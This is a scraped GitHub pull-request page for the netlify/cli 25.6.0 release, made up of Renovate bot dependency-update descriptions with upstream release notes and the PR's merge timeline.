This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [readdirp](https://redirect.github.com/paulmillr/readdirp) | [`^4.1.2` → `^5.0.0`](https://renovatebot.com/diffs/npm/readdirp/4.1.2/5.0.0) | ![age](https://developer.mend.io/api/mc/badges/age/npm/readdirp/5.0.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/readdirp/4.1.2/5.0.0?slim=true) | --- ### Release Notes <details> <summary>paulmillr/readdirp (readdirp)</summary> ### [`v5.0.0`](https://redirect.github.com/paulmillr/readdirp/releases/tag/5.0.0) [Compare Source](https://redirect.github.com/paulmillr/readdirp/compare/4.1.2...5.0.0) - Make the package ESM-only. Reduces on-disk package size. - Increase minimum node.js version to v20.19. The versions starting from it support loading esm files from cjs - Increase security of NPM releases. Switch to token-less Trusted Publishing, with help of [jsbt](https://redirect.github.com/paulmillr/jsbt) - Switch compilation mode to isolatedDeclaration-based typescript for simplified auto-generated docs #### New Contributors - [@ExplodingCabbage](https://redirect.github.com/ExplodingCabbage) made their first contribution in [#206](https://redirect.github.com/paulmillr/readdirp/pull/206) **Full Changelog**: <paulmillr/readdirp@4.1.2...5.0.0> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - Between 12:00 AM and 03:59 AM, only on Monday (`* 0-3 * * 1`) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [modern-tar](https://redirect.github.com/ayuhito/modern-tar) | [`0.7.5` → `0.7.6`](https://renovatebot.com/diffs/npm/modern-tar/0.7.5/0.7.6) | ![age](https://developer.mend.io/api/mc/badges/age/npm/modern-tar/0.7.6?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/modern-tar/0.7.5/0.7.6?slim=true) | --- ### Release Notes <details> <summary>ayuhito/modern-tar (modern-tar)</summary> ### [`v0.7.6`](https://redirect.github.com/ayuhito/modern-tar/releases/tag/v0.7.6) [Compare Source](https://redirect.github.com/ayuhito/modern-tar/compare/v0.7.5...v0.7.6) #### Overview Resolves issues with unpacking hanging in Cloudflare Workers, unicode path handing and various security fixes ☁️ - fix(pax): Fix filename length checking logic by [@simnalamburt](https://redirect.github.com/simnalamburt) in [#121](https://redirect.github.com/ayuhito/modern-tar/pull/121) - fix(web): respect backpressure in main loop by [@ayuhito](https://redirect.github.com/ayuhito) in [#122](https://redirect.github.com/ayuhito/modern-tar/pull/122) - fix(unpacker): prevent 32 bit overflow on meta header sizes by [@ayuhito](https://redirect.github.com/ayuhito) in [#123](https://redirect.github.com/ayuhito/modern-tar/pull/123) - perf(web): increase highwatermark for unpacker by [@ayuhito](https://redirect.github.com/ayuhito) in [#124](https://redirect.github.com/ayuhito/modern-tar/pull/124) - fix(fs): use actual filepath on filter over target by [@ayuhito](https://redirect.github.com/ayuhito) in [#125](https://redirect.github.com/ayuhito/modern-tar/pull/125) - fix(ustar): add size guard to prevent unnecessary split checks by [@ayuhito](https://redirect.github.com/ayuhito) in [#126](https://redirect.github.com/ayuhito/modern-tar/pull/126) - fix(pack): add number boundary checks to size by [@ayuhito](https://redirect.github.com/ayuhito) in [#127](https://redirect.github.com/ayuhito/modern-tar/pull/127) - fix(fs): remove bounded cache on path conflicts by [@ayuhito](https://redirect.github.com/ayuhito) in [#128](https://redirect.github.com/ayuhito/modern-tar/pull/128) - fix(web): switch unpack from transform stream to readable writable pair by [@ayuhito](https://redirect.github.com/ayuhito) in [#130](https://redirect.github.com/ayuhito/modern-tar/pull/130) - fix(fs): prevent file sink from following a symlink on unpack by [@ayuhito](https://redirect.github.com/ayuhito) in [#131](https://redirect.github.com/ayuhito/modern-tar/pull/131) - chore: upgrade dependencies by [@ayuhito](https://redirect.github.com/ayuhito) in [#132](https://redirect.github.com/ayuhito/modern-tar/pull/132) #### New Contributors - [@simnalamburt](https://redirect.github.com/simnalamburt) made their first contribution in [#121](https://redirect.github.com/ayuhito/modern-tar/pull/121) **Full Changelog**: <ayuhito/modern-tar@v0.7.5...v0.7.6> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - Between 12:00 AM and 03:59 AM, only on Monday (`* 0-3 * * 1`) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [@netlify/dev-utils](https://redirect.github.com/netlify/primitives) ([source](https://redirect.github.com/netlify/primitives/tree/HEAD/packages/dev-utils)) | [`^4.4.7` → `^5.0.0`](https://renovatebot.com/diffs/npm/@netlify%2fdev-utils/4.4.7/5.0.0) | ![age](https://developer.mend.io/api/mc/badges/age/npm/@netlify%2fdev-utils/5.0.0?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@netlify%2fdev-utils/4.4.7/5.0.0?slim=true) | --- ### Release Notes <details> <summary>netlify/primitives (@netlify/dev-utils)</summary> ### [`v5.0.0`](https://redirect.github.com/netlify/primitives/blob/HEAD/packages/dev-utils/CHANGELOG.md#500-2026-08-12) [Compare Source](https://redirect.github.com/netlify/primitives/compare/a791552b27ce22f848b7a5c5b8f15807e2f0033d...f28c2a07295253a0a7845fe17bebe475e2d0464d) ##### ⚠ BREAKING CHANGES - move internal test utils out of [@netlify/dev-utils](https://redirect.github.com/netlify/dev-utils) ##### Bug Fixes - move internal test utils out of [@netlify/dev-utils](https://redirect.github.com/netlify/dev-utils) ([bbe5351](https://redirect.github.com/netlify/primitives/commit/bbe5351b9bfa32c09787b1b706b147e65580867d)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  --------- Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Philippe Serhal <philippe.serhal@netlify.com>

This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [actions/upload-artifact](https://redirect.github.com/actions/upload-artifact) | action | major | `v6` → `v7` | --- ### Release Notes <details> <summary>actions/upload-artifact (actions/upload-artifact)</summary> ### [`v7.0.1`](https://redirect.github.com/actions/upload-artifact/releases/tag/v7.0.1) [Compare Source](https://redirect.github.com/actions/upload-artifact/compare/v7...v7.0.1) #### What's Changed - Update the readme with direct upload details by [@danwkennedy](https://redirect.github.com/danwkennedy) in [#795](https://redirect.github.com/actions/upload-artifact/pull/795) - Readme: bump all the example versions to v7 by [@danwkennedy](https://redirect.github.com/danwkennedy) in [#796](https://redirect.github.com/actions/upload-artifact/pull/796) - Include changes in typespec/ts-http-runtime 0.3.5 by [@yacaovsnc](https://redirect.github.com/yacaovsnc) in [#797](https://redirect.github.com/actions/upload-artifact/pull/797) **Full Changelog**: <actions/upload-artifact@v7...v7.0.1> ### [`v7.0.0`](https://redirect.github.com/actions/upload-artifact/releases/tag/v7.0.0) [Compare Source](https://redirect.github.com/actions/upload-artifact/compare/v7...v7) #### v7 What's new ##### Direct Uploads Adds support for uploading single files directly (unzipped). Callers can set the new `archive` parameter to `false` to skip zipping the file during upload. Right now, we only support single files. The action will fail if the glob passed resolves to multiple files. The `name` parameter is also ignored with this setting. Instead, the name of the artifact will be the name of the uploaded file. ##### ESM To support new versions of the `@actions/*` packages, we've upgraded the package to ESM. #### What's Changed - Add proxy integration test by [@Link-](https://redirect.github.com/Link-) in [#754](https://redirect.github.com/actions/upload-artifact/pull/754) - Upgrade the module to ESM and bump dependencies by [@danwkennedy](https://redirect.github.com/danwkennedy) in [#762](https://redirect.github.com/actions/upload-artifact/pull/762) - Support direct file uploads by [@danwkennedy](https://redirect.github.com/danwkennedy) in [#764](https://redirect.github.com/actions/upload-artifact/pull/764) #### New Contributors - [@Link-](https://redirect.github.com/Link-) made their first contribution in [#754](https://redirect.github.com/actions/upload-artifact/pull/754) **Full Changelog**: <actions/upload-artifact@v6...v7.0.0> ### [`v7`](https://redirect.github.com/actions/upload-artifact/compare/v6.0.0...v7) [Compare Source](https://redirect.github.com/actions/upload-artifact/compare/v6.0.0...v7) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - Between 12:00 AM and 03:59 AM, only on Monday (`* 0-3 * * 1`) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/netlify/cli).  Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

token-generator-app Bot requested a review from a team as a code owner April 24, 2026 08:55

token-generator-app Bot added the autorelease: pending label Apr 24, 2026

chore(main): release 25.6.0

586579b

token-generator-app Bot changed the title ~~chore(main): release 25.5.1~~ chore(main): release 25.6.0 Apr 24, 2026

token-generator-app Bot force-pushed the release-please--branches--main--components--netlify-cli branch from 18601cb to 586579b Compare April 24, 2026 11:45

Merge branch 'main' into release-please--branches--main--components--…

e741a28

…netlify-cli

eduardoboucas enabled auto-merge (squash) April 24, 2026 13:45

eduardoboucas approved these changes Apr 24, 2026

View reviewed changes

eduardoboucas merged commit 0415e87 into main Apr 24, 2026
71 of 73 checks passed

eduardoboucas deleted the release-please--branches--main--components--netlify-cli branch April 24, 2026 14:28

token-generator-app Bot added autorelease: tagged and removed autorelease: pending labels Apr 24, 2026

Navigation Menu

Uh oh!

chore(main): release 25.6.0 - #8203

chore(main): release 25.6.0#8203
eduardoboucas merged 2 commits into
mainfrom
release-please--branches--main--components--netlify-cli

token-generator-app Bot commented Apr 24, 2026 •

edited

Loading

Uh oh!

Uh oh!

token-generator-app Bot commented Apr 24, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Uh oh!

Conversation

token-generator-app Bot commented Apr 24, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

🤖 I have created a release beep boop

25.6.0 (2026-04-24)

Features

Bug Fixes

Uh oh!

Uh oh!

token-generator-app Bot commented Apr 24, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

token-generator-app Bot commented Apr 24, 2026 •

edited

Loading